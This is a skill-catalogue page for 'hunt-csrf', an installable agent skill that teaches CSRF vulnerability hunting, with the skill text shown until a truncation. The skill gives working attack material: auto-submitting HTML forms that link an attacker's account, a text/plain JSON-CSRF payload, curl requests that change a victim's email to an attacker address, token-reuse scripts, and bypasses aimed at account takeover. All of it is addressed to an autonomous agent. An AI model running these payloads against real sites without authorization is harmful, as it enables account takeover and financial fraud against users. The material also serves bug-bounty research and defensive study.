SkillAgentSearch skills...

hunt-csrf

Hunting skill for csrf vulnerabilities. Built from 15 public bug bounty reports including modern variants — SameSite=Lax sibling-subdomain bypass (Argo CD CVE-2024-22424), GraphQL mutations-via-GET (GitLab $3,370), framework-wide CSRF middleware disabled (Stripe Dashboard $5,000), path-traversal CSR…

Install / Use

npx skills add elementalsouls/Claude-BugHunter --skill hunt-csrf

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

96/100

Category

Security

Supported Platforms

Universal

Our assessment of hunt-csrf

hunt-csrf scores 96/100 on our quality scale, 140th of 772 Security skills we index (top 19%).

Its SKILL.md is 26 KB long, well organised into 49 sections with 10 code examples: a thorough specification that gives an agent plenty to work with.

With 4,669 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
30/30
Structure
20/20
Description
15/15
Adoption
16/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated 2 days ago, so hunt-csrf is actively maintained.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

hunt-csrf compared with similar skills

All 4 of these similar skills score higher than hunt-csrf; compare them before choosing.

SkillScoreStarsUpdatedFormat
hunt-csrf (this skill)by elementalsouls964.7k2d agoSKILL.md
Agent-Reachby Panniantong10085.9k12d agoCLAUDE.md
algorithmic-artby anthropics100177.9k5d agoSKILL.md
pptxby anthropics100177.9k5d agoSKILL.md
designby nextlevelbuilder100130.2k7d agoSKILL.md

Frequently asked questions

How do I install hunt-csrf?
Run npx skills add elementalsouls/Claude-BugHunter --skill hunt-csrf. The install tabs above show the steps for each supported agent.
Which AI agents does hunt-csrf work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is hunt-csrf safe to use?
It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is hunt-csrf still maintained?
The repository was last updated 2 days ago, so hunt-csrf is actively maintained.

name: hunt-csrf description: Hunting skill for csrf vulnerabilities. Built from 15 public bug bounty reports including modern variants — SameSite=Lax sibling-subdomain bypass (Argo CD CVE-2024-22424), GraphQL mutations-via-GET (GitLab $3,370), framework-wide CSRF middleware disabled (Stripe Dashboard $5,000), path-traversal CSRF-token bypass (GitHub Enterprise CVE-2022-23732 $10k), Origin-omission bypass (TikTok $2,500), OAuth-state null-byte (Streamlabs), WebSocket CSRF / CSWSH (Coda), default-SameSite email-change → ATO (YoYo Games $400), social-account-link CSRF (HackerOne), JSON-CSRF via text/plain on email-change (TikTok $500). Use when hunting modern CSRF — heavy emphasis on chain-to-ATO patterns. sources: github, hackerone_public, bugcrowd_public, github_security_advisories report_count: 18

Shortcut: a raw HTTP client beats a real cross-origin page for header-check CSRF

A raw HTTP client (curl, Burp Repeater, any scripting client) is not a browser: it will send whatever Origin/Referer header VALUE you set, from any path, on the same connection as your authenticated cookie. Many apps that claim to defend against CSRF only do a naive string check on the incoming Origin/Referer header (does it contain/equal some expected value?) rather than real same-origin enforcement — you can satisfy that check directly by setting the header, with no actual cross-site delivery (hosting an HTML page, a headless browser) required. This is faster and more reliable than building a real attacker page for this exact pattern:

POST /profile HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Origin: https://a-domain-the-app-treats-as-trusted-or-attacker-controlled.example
Cookie: <authenticated session>

username=csrf_poc

If some text names a SPECIFIC origin/domain as the "expected" attacker page, that literal value is often exactly what the server's check is looking for — try it verbatim in Origin (fall back to Referer if Origin alone doesn't flip it). Only build a real cross-origin page (actual browser delivery) when the target does genuine SameSite/fetch-based origin enforcement that a spoofed header can't satisfy.

Autonomous Testing Priority

CSRF only matters on state-changing actions that a browser could be tricked into making cross-site.

Testing flow:

  1. GET the form endpoint to establish a baseline and check what fields exist (look for hidden csrf_token, authenticity_token, _token, csrfmiddlewaretoken fields).
  2. POST the state-changing action without any CSRF token field. Send only the functional parameters (email, amount, etc.).
  3. Use a "simple-request" Content-Type — application/x-www-form-urlencoded, multipart/form-data, OR text/plain are the three CORS "simple" content-types a cross-origin form can send with no preflight. A JSON endpoint is CSRF-resistant only if the server rejects those — if it also accepts a text/plain body (common), craft a text/plain payload that parses as valid JSON (see the JSON-CSRF-via-text/plain section). Don't skip a JSON endpoint on the assumption that application/json alone is protective.
  4. If the action succeeds (2xx, no "invalid token" error) → CSRF is confirmed.

High-value targets (in order of impact):

  • Email/password change → account takeover
  • Money transfer or payment → financial fraud
  • Admin actions (role assignment, user deletion)
  • OAuth social-account linking → persistent ATO

Token bypass techniques when a token IS present:

  • Omit the token field entirely — some frameworks only validate if the field exists, not if it's absent
  • Send an empty value (_token=) — some validate format, not presence
  • Copy a token from another session — some tokens aren't tied to the session

Scope: Don't test CSRF on login forms (no existing session to exploit), logout (no real impact), or read-only GET endpoints.


Crown Jewel Targets

CSRF becomes high-value when it touches state-changing actions with account-level or financial consequences. The highest-paying targets are:

  • Account takeover vectors: OAuth/SSO flows (RelayState manipulation), social account linking/unlinking (Oculus-Facebook, SocialClub), import-friends features that expose OAuth tokens
  • Authentication infrastructure: Login CSRF, session fixation via CSRF, forced account association
  • API endpoints accepting cross-origin POST: JSON APIs, heartbeat/activity APIs, anything that skips Content-Type enforcement
  • Third-party integrations: Grafana, monitoring dashboards, embedded analytics — often lag on CSRF protections
  • Social platforms: Twitter/X collections, friend imports, social graph mutations — high-volume, authenticated actions with real user impact

Asset types that pay most: Core product auth flows > API gateways > third-party integrations running on subdomains > admin panels.


Attack Surface Signals

URL Patterns

/oauth/authorize?RelayState=
/accounts/link
/import/friends
/api/v*/heartbeat
/api/v*/collect
/monitoring/* (Grafana, Prow, Prometheus)
/auth/saml/callback
/connect/* (social integrations)

Response Header Signals

# Missing or weak SameSite cookie attributes
Set-Cookie: session=abc123; HttpOnly        # no SameSite = vulnerable
Set-Cookie: session=abc123; SameSite=None   # explicitly allows cross-site

# Missing CSRF headers
# No X-Frame-Options or permissive CORS
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true      # dangerous combo

JS / DOM Patterns

// Static or predictable CSRF tokens
meta[name="csrf-token"]   // grep if value changes across sessions
authenticity_token        // Rails — check if reused across page loads

// JSON endpoints without Content-Type enforcement
fetch('/api/heartbeat', {method: 'POST', body: JSON.stringify(data)})

// No CSRF token in form at all
<form method="POST" action="/accounts/link">  // no hidden token field

Tech Stack Signals

  • Rails apps: Look for authenticity_token — test if it's static per session
  • Django apps: Check csrfmiddlewaretoken — test cross-user/session reuse
  • Grafana instances: CVE-2022-21703 — check version via /api/health
  • SAMLv2/OIDC flows: RelayState parameter rarely validated
  • Express/Node APIs: Often skip CSRF middleware on /api/* routes

Step-by-Step Hunting Methodology

  1. Map all state-changing endpoints — Spider authenticated session, filter for POST/PUT/DELETE/PATCH. Note every form and AJAX call.

  2. Check cookie SameSite attributes — In DevTools → Application → Cookies. Flag any session cookie without SameSite=Strict or Lax.

  3. Test token staticness — Log in twice (different sessions or incognito). Compare authenticity_token / csrfmiddlewaretoken / csrf-token values across:

    • Same session, different page loads (should be different)
    • Different sessions for same user
    • Different users entirely
  4. Test token omission — Remove the CSRF token field entirely from a POST request. If the server returns 200, you have CSRF.

  5. Test token substitution — Replace the token with one from a different session. Server accepting it = broken validation.

  6. Test JSON endpoints for form-POST CSRF — Check if Content-Type is enforced:

    • Send application/x-www-form-urlencoded to a JSON endpoint
    • Send text/plain with a JSON body
    • If accepted, HTML form can trigger it cross-origin
  7. Hunt OAuth/SSO RelayState — Intercept SAML/OIDC flows. Test if RelayState is validated for same-origin. Inject external URLs.

  8. Check social linking flows — Every "connect your X account" feature. These often use redirect-based OAuth where CSRF on the callback can associate an attacker's social account.

  9. Test third-party dashboards on subdomains — Grafana, Kibana, Prometheus. Check version, apply known CVEs, test default CSRF posture.

  10. Build PoC HTML page — Host on a different origin, fire the request, confirm cookies are sent and action executes.


Payload & Detection Patterns

Basic CSRF PoC (Form POST)

<html>
<body onload="document.forms[0].submit()">
  <form method="POST" action="https://target.com/api/v1/account/link">
    <input type="hidden" name="provider" value="attacker_account_id" />
    <input type="hidden" name="token" value="oauth_token_here" />
  </form>
</body>
</html>

JSON CSRF via text/plain (bypasses Content-Type check)

<html>
<body onload="document.forms[0].submit()">
  <form method="POST" action="https://target.com/api/heartbeat"
        enctype="text/plain">
    <!-- browser sends: {"status":"ok","x":"=padding"} -->
    <input type="hidden" name='{"status":"ok","x":"' value='padding"}' />
  </form>
</body>
</html>

curl: Test CSRF token omission

# Capture a valid request, then replay without token
curl -s -X POST https://target.com/settings/email \
  -H "Cookie: session=YOUR_SESSION" \
  -d "email=attacker@evil.com" \
  -v 2>&1 | grep -E "HTTP|location|error"

curl: Test token reuse across sessions

# Get token from session A
TOKEN_A=$(curl -s https://target.com/settings -H "Cookie: session=SESSION_A" \
  | grep -oP 'authenticity_token[^"]*value="\K[^"]+')

# Use token A in session B's request
curl -s -X POST https://target.com/settings/update \
  -H "Cookie: session=SESSION_B" \
  -d "authenticity_token=$TOKEN_A&email=test@test.com" \
  -v

Grep patterns for recon

# Find CSRF token fields in HTML responses
grep -Eo 'name="(csrf|_token|authenticity_token|csrfmiddlewaretoken)"[^>]*value="[^"]+"'

# Find forms without CSRF tokens
grep -B5 -A20 '<form method="[Pp][Oo][Ss][Tt]"' response.html | grep -L "csrf\|token\|nonce"

# Check SameSite in response headers
curl -sI https://target.com/login | grep -i "set-cookie"

# Find RelayState parameters
grep -r "RelayState" --include="*.js" .

Grafana CVE-2022-21703 version check

curl -s https://monitoring.target.com/api/health | jq '.version'
# Vulnerable: < 8.3.5, < 8.4.3, < 7.5.15

Common Root Causes

  1. Static CSRF tokens per session — Developers generate one token at login and reuse it. Airbnb bug: authenticity_token was the same across all page loads for a session, making it trivially leakable.

  2. Token not tied to user identity — Token is valid server-wide or rotates on a schedule, not per-user/session. Mozilla bug: csrftoken reusable across users.

  3. Missing token on "secondary" endpoints — Developers protect login/signup but forget API endpoints, import flows, or webhook handlers.

  4. JSON API assumption of safety — Belief that Content-Type: application/json prevents CSRF. It does via CORS preflight — unless the server also accepts text/plain or application/x-www-form-urlencoded.

  5. SameSite=None for cross-site embeds — Developers set SameSite=None to support iframe embeds or third-party integrations, inadvertently re-enabling CSRF.

  6. OAuth RelayState not validated — Developers implement SAML/OIDC but treat RelayState as a redirect hint, not a CSRF state parameter requiring cryptographic binding.

  7. Framework misconfiguration — CSRF middleware excluded for /api/* routes in Django/Rails because "API clients don't need it," but browser-based JS clients do.

  8. Third-party software defaults — Grafana, Kibana, Jenkins shipped with weak or no CSRF protection in older versions; teams don't patch or check.


Bypass Techniques

Defense: SameSite=Lax cookies

Bypass: Top-level navigation GET requests still work. If the sensitive action can be triggered via GET (or if a redirect chain converts POST→GET), Lax doesn't protect it. Also: subdomains can still set cookies for parent domain.

Defense: CSRF token present

Bypasses:

  • Token is static per session — steal via XSS, Referer leakage, or cached page
  • Token not validated server-side — just remove it an

Truncated for display — read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars4.7k
CategorySecurity
Updated2d ago
Forks704

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions